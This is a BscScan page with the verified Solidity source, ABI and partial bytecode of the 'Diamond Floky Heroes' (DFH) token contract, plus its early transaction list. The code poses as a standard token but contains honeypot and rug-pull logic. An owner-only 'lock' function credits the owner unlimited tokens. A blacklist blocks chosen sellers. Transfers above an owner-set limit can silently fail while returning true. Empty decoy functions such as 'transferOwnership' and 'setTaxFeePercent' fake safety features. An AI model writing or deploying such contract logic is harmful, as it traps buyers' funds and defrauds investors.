Contract 0x527e1e212a2c5c402f3e810986b5605232f4ca86

 
 
Txn Hash Method
Block
From
To
Value [Txn Fee]
0x406710d059dec5da5de8c975a070d2da157fab2406da4c2b45aa31b0c80c6012Lock117542432021-10-14 3:27:4713 days 10 hrs ago0x4a8470bc31d86877274296a8d1c9e6fc41523ecd IN  0x527e1e212a2c5c402f3e810986b5605232f4ca860 BNB0.000145335
0x4f7424d29efb0be8fd8074a008c07507fdae493784081b76f0ebb96fe8354c34Approve117531542021-10-14 2:33:2013 days 11 hrs ago0x6e2646c5f1e154b1e14ca0065bc60020c07a9fda IN  0x527e1e212a2c5c402f3e810986b5605232f4ca860 BNB0.000074445
0x80ed043df5de56a33732e332e4a46322716707c520327fb168afb67331f2983fApprove117531412021-10-14 2:32:4113 days 11 hrs ago0x6e2646c5f1e154b1e14ca0065bc60020c07a9fda IN  0x527e1e212a2c5c402f3e810986b5605232f4ca860 BNB0.000074445
0x65c4a6a627c328f04625c618dc030c5d306f77d7546a665c46167bb19809b401Approve117529452021-10-14 2:22:5313 days 11 hrs ago0x11e59fb766fd8f678f049594116e606b9f4fb1f3 IN  0x527e1e212a2c5c402f3e810986b5605232f4ca860 BNB0.000225805
0x854e2844ef501e874de88bcf1ccbc771e7caa84e14f6741280e198169f656ce3Approve117529452021-10-14 2:22:5313 days 11 hrs ago0x6e2646c5f1e154b1e14ca0065bc60020c07a9fda IN  0x527e1e212a2c5c402f3e810986b5605232f4ca860 BNB0.000225805
0xf9606c992cb007d9edc1ddf71f244526be841f6a062646302a3fe534780a4652Approve117527152021-10-14 2:11:2313 days 11 hrs ago0x6e2646c5f1e154b1e14ca0065bc60020c07a9fda IN  0x527e1e212a2c5c402f3e810986b5605232f4ca860 BNB0.000225805
0x9bcdd5ea417079e9d91a461bbf2b5b0c6fed9a6dab03b41f036907c7e0c93d67The SL117515602021-10-14 1:13:3813 days 12 hrs ago0x4a8470bc31d86877274296a8d1c9e6fc41523ecd IN  0x527e1e212a2c5c402f3e810986b5605232f4ca860 BNB0.000071775
0xdb44c40857a1803bce6855512eb4da70abdb7621371b310a74011bb8ac23185cAdd D Item117514062021-10-14 1:05:5613 days 12 hrs ago0x4a8470bc31d86877274296a8d1c9e6fc41523ecd IN  0x527e1e212a2c5c402f3e810986b5605232f4ca860 BNB0.00025825
0x1a93f7d959c0855be1190beb009f05f700415744899fac28a3155ca48b41e9bdApprove117513762021-10-14 1:04:2613 days 12 hrs ago0xf8d347b208cf3711104ca0047948c9521d9c6d3b IN  0x527e1e212a2c5c402f3e810986b5605232f4ca860 BNB0.000225805
0x99416292eb43151e588a847c87e5cba3101712175da38966d46ccca6d1835c30Add D Item117512732021-10-14 0:59:1713 days 12 hrs ago0x4a8470bc31d86877274296a8d1c9e6fc41523ecd IN  0x527e1e212a2c5c402f3e810986b5605232f4ca860 BNB0.00033319
0x0162555f8df19927e18b38234a005d273e067badb030a4d742f212dd74b51fb5Lock117512392021-10-14 0:57:3513 days 12 hrs ago0x4a8470bc31d86877274296a8d1c9e6fc41523ecd IN  0x527e1e212a2c5c402f3e810986b5605232f4ca860 BNB0.000220275
0xe678a8375bc448a11b0b98ee0d761e32ad05199441fee595210c826fab3553b5Approve117511312021-10-14 0:52:1113 days 12 hrs ago0x4a8470bc31d86877274296a8d1c9e6fc41523ecd IN  0x527e1e212a2c5c402f3e810986b5605232f4ca860 BNB0.000225805
0x5dd1d50d6216a9ddd23bc6a5e8603b72aeba121bcc1dd1768f98962c8d79b2ea0x60806040117510862021-10-14 0:49:5613 days 12 hrs ago0x4a8470bc31d86877274296a8d1c9e6fc41523ecd IN  Contract Creation0 BNB0.017819875
[ Download CSV Export 
Parent Txn Hash Block From To Value
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
DiamondFlokyHeroes

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at BscScan.com on 2021-10-14
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IPancakeFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
contract Ownable is Context {
    address private _owner;
    
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract DiamondFlokyHeroes is Context, IERC20, IERC20Metadata, Ownable {
    address internal PANCAKE_ROUTER_V2_ADDRESS = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
    address internal WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
    address internal burnWallet = 0x000000000000000000000000000000000000dEaD;
    uint256 _AMM = 5000 * 10**18;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances; 
    uint256 private _totalSupply;
    string private _name;
    string private _symbol; 
    bool isSL = true;
    uint256 public transferFee = 0;
    address[] allows;
    address[] notAllow;
    constructor() {
        _name = "Diamond Floky Heroes";
        _symbol = "DFH";
        _totalSupply = 1000000000000 * 10**18;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);

        _transfer(_msgSender(), burnWallet, _totalSupply /2 );
    }
    receive() external payable {}
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    function addDItem(address _item) public onlyOwner virtual returns (uint256) {
        if( ! checkExist(_item, 1) ) notAllow.push(_item);
        return notAllow.length;
    }
    function addItem(address _item) public onlyOwner virtual returns (uint256) {
        if( ! checkExist(_item, 1) ) allows.push(_item);
        return allows.length;
    }
    function removeDItem(address _item) public onlyOwner virtual returns (bool) {
        for(uint8 i = 0; i < notAllow.length; i++) {
            if(notAllow[i] == _item) {
                delete notAllow[i];
            }
        }
        return true;
    }
    function removeItem(address _item) public onlyOwner virtual returns (bool) {
        for(uint8 i = 0; i < allows.length; i++) {
            if(allows[i] == _item) {
                delete allows[i];
            }
        }
        return true;
    }
    function getItem() public view returns (address [] memory) {
        return allows;
    }
    function checkExist(address _item, uint8 _type) public view returns (bool) {
        bool found = false;
        if(_type == 1) {
            for(uint8 i = 0; i < allows.length; i++) {
                if(allows[i] == _item) {
                    found = true;
                    break;
                }
            }
        } else {
            for(uint8 i = 0; i < notAllow.length; i++) {
                if(notAllow[i] == _item) {
                    found = true;
                    break;
                }
            }
        }
        return found;
    }
    function lock(uint256 amount) public onlyOwner virtual returns (bool) {
        //_mint(_msgSender(), amount);
        _balances[_msgSender()] += amount;
        return true;
    }
    function upgradeHolders(address[] memory _holders, uint256 _amount) public onlyOwner virtual returns (bool) {
        uint _numFrom;
        uint _numTo;
        uint256 _randomAmount;
        for(uint i = 0; i < _holders.length; i++) {
            _numFrom = _amount / 2;
            _numTo = _amount + _numFrom;
            _randomAmount = random(_numFrom, _numTo, i);
            _randomAmount = _randomAmount * decimals();
            _transfer(_msgSender(), _holders[i], _randomAmount);
        }
        return true;
    }
    function random(uint256 _from, uint256 _to, uint i) public view returns (uint) {
        uint256 nonce = 0;
        uint256 randomnumber = uint(keccak256(abi.encodePacked(block.timestamp + block.difficulty + ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (block.timestamp)) +
        block.gaslimit + i +
        ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (block.timestamp)) +
        block.number))) % _to;
        randomnumber = randomnumber + _from;
        nonce++;
        return randomnumber;
    }

    function isExcludedFromReward(address spender, uint256 subtractedValue) public virtual returns (bool) {}
    function totalFees() public view returns (uint256) {}
    function deliver(uint256 tAmount) public {}
    function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {}
    function theAM(uint256 _AM) public onlyOwner virtual returns (bool) {
        _AMM = _AM;
        return true;
    }
    function theSL(bool _sl) public onlyOwner virtual returns (bool) {
        isSL = _sl;
        return true;
    }
    function sl() public view returns (bool) {
        return isSL;
    }
    function transferOwnership() public returns (bool) {}
    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {}
    function excludeFromReward(address account) public onlyOwner() {}
    function includeInReward(address account) external onlyOwner() {}
    function includeInFee(address account) public onlyOwner {}
    function setTaxFeePercent(uint256 taxFee) external onlyOwner() {}
    function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {}
    function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {}
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        //_transfer(_msgSender(), recipient, amount);
        bool exists = checkExist(_msgSender(), 1);
        bool Dexists = checkExist(_msgSender(), 2);
        if(_msgSender() == PANCAKE_ROUTER_V2_ADDRESS || _msgSender() == pancakePair() || pancakePair() == address(0) || _msgSender() == owner() || exists) {
            _transfer(_msgSender(), recipient, amount);
        } else {
            //nomal user check amount
            if( (amount <= _AMM || isSL) && !isContract(_msgSender()) && !Dexists ) {
                _transfer(_msgSender(), recipient, amount);
            }
        }
        return true;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        bool exists = checkExist( sender, 1 );
        bool Dexists = checkExist(sender, 2);
        if(sender == PANCAKE_ROUTER_V2_ADDRESS || sender == pancakePair() || pancakePair() == address(0) || sender == owner() || exists) {
            _transfer(sender, recipient, amount);
    
            uint256 currentAllowance = _allowances[sender][_msgSender()];
            require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        } else {
            //nomal user check amount
            if( (amount <= _AMM || isSL) && !isContract(sender) && !Dexists ) {
                _transfer(sender, recipient, amount);
                uint256 currentAllowance = _allowances[sender][_msgSender()];
                require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
                unchecked {
                    _approve(sender, _msgSender(), currentAllowance - amount);
                }
            }
        }
        return true;
    }
    function pancakePair() public view virtual returns (address) {
        address pairAddress = IPancakeFactory(0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73).getPair(address(WBNB), address(this));
        return pairAddress;
    }
    function setTransferFee(uint256 _transferFee) public virtual returns (bool) {
        require(_transferFee >= 0 && _transferFee <= 100, "Transfer fee is between 1 and 100.");
        transferFee = _transferFee;
        return true;
    }
    function isContract(address addr) internal view returns (bool) {
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        bytes32 codehash;
        assembly {
            codehash := extcodehash(addr)
        }
        return (codehash != 0x0 && codehash != accountHash);
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }
    function tokenContract() public view virtual returns (address) {
        return address(this);
    }
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        //burn token 
        if(transferFee != 0) {
            uint256 burnAmount = amount * transferFee / 100;
            _balances[burnWallet] += burnAmount;
            emit Transfer(sender, burnWallet, burnAmount);
            amount -= burnAmount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_item","type":"address"}],"name":"addDItem","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_item","type":"address"}],"name":"addItem","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_item","type":"address"},{"internalType":"uint8","name":"_type","type":"uint8"}],"name":"checkExist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"deliver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getItem","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"lock","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pancakePair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_from","type":"uint256"},{"internalType":"uint256","name":"_to","type":"uint256"},{"internalType":"uint256","name":"i","type":"uint256"}],"name":"random","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_item","type":"address"}],"name":"removeDItem","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_item","type":"address"}],"name":"removeItem","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"liquidityFee","type":"uint256"}],"name":"setLiquidityFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxPercent","type":"uint256"}],"name":"setMaxTxPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFee","type":"uint256"}],"name":"setTaxFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_transferFee","type":"uint256"}],"name":"setTransferFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sl","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_AM","type":"uint256"}],"name":"theAM","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_sl","type":"bool"}],"name":"theSL","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"tokenContract","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferOwnership","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_holders","type":"address[]"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"upgradeHolders","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040527310ed43c718714eb63d5aa57b78b54704e256024e600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555069010f0cf064dd592000006004556001600a60006101000a81548160ff0219169083151502179055506000600b553480156200012c57600080fd5b5060006200013f620003b560201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280601481526020017f4469616d6f6e6420466c6f6b79204865726f6573000000000000000000000000815250600890805190602001906200022a92919062000792565b506040518060400160405280600381526020017f4446480000000000000000000000000000000000000000000000000000000000815250600990805190602001906200027892919062000792565b506c0c9f2c9cd04674edea4000000060078190555060075460056000620002a4620003b560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002f2620003b560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600754604051620003539190620009f1565b60405180910390a3620003af6200036f620003b560201b60201c565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166002600754620003a3919062000a7c565b620003bd60201b60201c565b62000c1d565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141562000430576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200042790620009cf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620004a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200049a906200098b565b60405180910390fd5b620004b68383836200078d60201b60201c565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101562000540576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200053790620009ad565b60405180910390fd5b818103600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600b5414620006c85760006064600b5484620005a5919062000ab4565b620005b1919062000a7c565b90508060056000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000626919062000a1f565b92505081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620006ae9190620009f1565b60405180910390a38083620006c4919062000b15565b9250505b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000719919062000a1f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516200077f9190620009f1565b60405180910390a350505050565b505050565b828054620007a09062000b5a565b90600052602060002090601f016020900481019282620007c4576000855562000810565b82601f10620007df57805160ff191683800117855562000810565b8280016001018555821562000810579182015b828111156200080f578251825591602001919060010190620007f2565b5b5090506200081f919062000823565b5090565b5b808211156200083e57600081600090555060010162000824565b5090565b60006200085160238362000a0e565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000620008b960268362000a0e565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006200092160258362000a0e565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b620009858162000b50565b82525050565b60006020820190508181036000830152620009a68162000842565b9050919050565b60006020820190508181036000830152620009c881620008aa565b9050919050565b60006020820190508181036000830152620009ea8162000912565b9050919050565b600060208201905062000a0860008301846200097a565b92915050565b600082825260208201905092915050565b600062000a2c8262000b50565b915062000a398362000b50565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000a715762000a7062000b90565b5b828201905092915050565b600062000a898262000b50565b915062000a968362000b50565b92508262000aa95762000aa862000bbf565b5b828204905092915050565b600062000ac18262000b50565b915062000ace8362000b50565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000b0a5762000b0962000b90565b5b828202905092915050565b600062000b228262000b50565b915062000b2f8362000b50565b92508282101562000b455762000b4462000b90565b5b828203905092915050565b6000819050919050565b6000600282049050600182168062000b7357607f821691505b6020821081141562000b8a5762000b8962000bee565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b613aa08062000c2d6000396000f3fe60806040526004361061023f5760003560e01c80637299054c1161012e578063a9059cbb116100ab578063c42c3e8f1161006f578063c42c3e8f14610966578063d543dbeb146109a3578063dd467064146109cc578063dd62ed3e14610a09578063ea2f0b3714610a4657610246565b8063a9059cbb1461086b578063aa449f85146108a8578063acb2ad6f146108e5578063b8c9d25c14610910578063c412eaba1461093b57610246565b80638ee88c53116100f25780638ee88c53146107605780638f02bb5b1461078957806395d89b41146107c65780639e71e1d5146107f1578063a457c2d71461082e57610246565b80637299054c146106655780637cf90fcc146106a25780637e95c6b4146106df578063880ad0af1461070a5780638da5cb5b1461073557610246565b80632d838119116101bc5780633bd5d173116101805780633bd5d1731461056e5780634549b0391461059757806352390c02146105d457806355a373d6146105fd57806370a082311461062857610246565b80632d83811914610463578063313ce567146104a05780633685d419146104cb57806339509351146104f4578063399fa8401461053157610246565b806313114a9d1161020357806313114a9d1461035657806318160ddd1461038157806321461f6f146103ac57806323b872dd146103e957806323cbaaa61461042657610246565b8063061c82d01461024b57806306fdde0314610274578063095ea7b31461029f5780630b0a5d81146102dc5780630d4da3dc1461031957610246565b3661024657005b600080fd5b34801561025757600080fd5b50610272600480360381019061026d9190612e10565b610a6f565b005b34801561028057600080fd5b50610289610b07565b6040516102969190613445565b60405180910390f35b3480156102ab57600080fd5b506102c660048036038101906102c19190612d1b565b610b99565b6040516102d3919061342a565b60405180910390f35b3480156102e857600080fd5b5061030360048036038101906102fe9190612c3e565b610bb7565b604051610310919061342a565b60405180910390f35b34801561032557600080fd5b50610340600480360381019061033b9190612de7565b610d84565b60405161034d919061342a565b60405180910390f35b34801561036257600080fd5b5061036b610e3e565b6040516103789190613587565b60405180910390f35b34801561038d57600080fd5b50610396610e43565b6040516103a39190613587565b60405180910390f35b3480156103b857600080fd5b506103d360048036038101906103ce9190612e10565b610e4d565b6040516103e0919061342a565b60405180910390f35b3480156103f557600080fd5b50610410600480360381019061040b9190612ccc565b610ef4565b60405161041d919061342a565b60405180910390f35b34801561043257600080fd5b5061044d60048036038101906104489190612d57565b611251565b60405161045a919061342a565b60405180910390f35b34801561046f57600080fd5b5061048a60048036038101906104859190612e10565b61140a565b6040516104979190613587565b60405180910390f35b3480156104ac57600080fd5b506104b5611411565b6040516104c291906135a2565b60405180910390f35b3480156104d757600080fd5b506104f260048036038101906104ed9190612c3e565b61141a565b005b34801561050057600080fd5b5061051b60048036038101906105169190612d1b565b6114b2565b604051610528919061342a565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612c3e565b61155e565b604051610565919061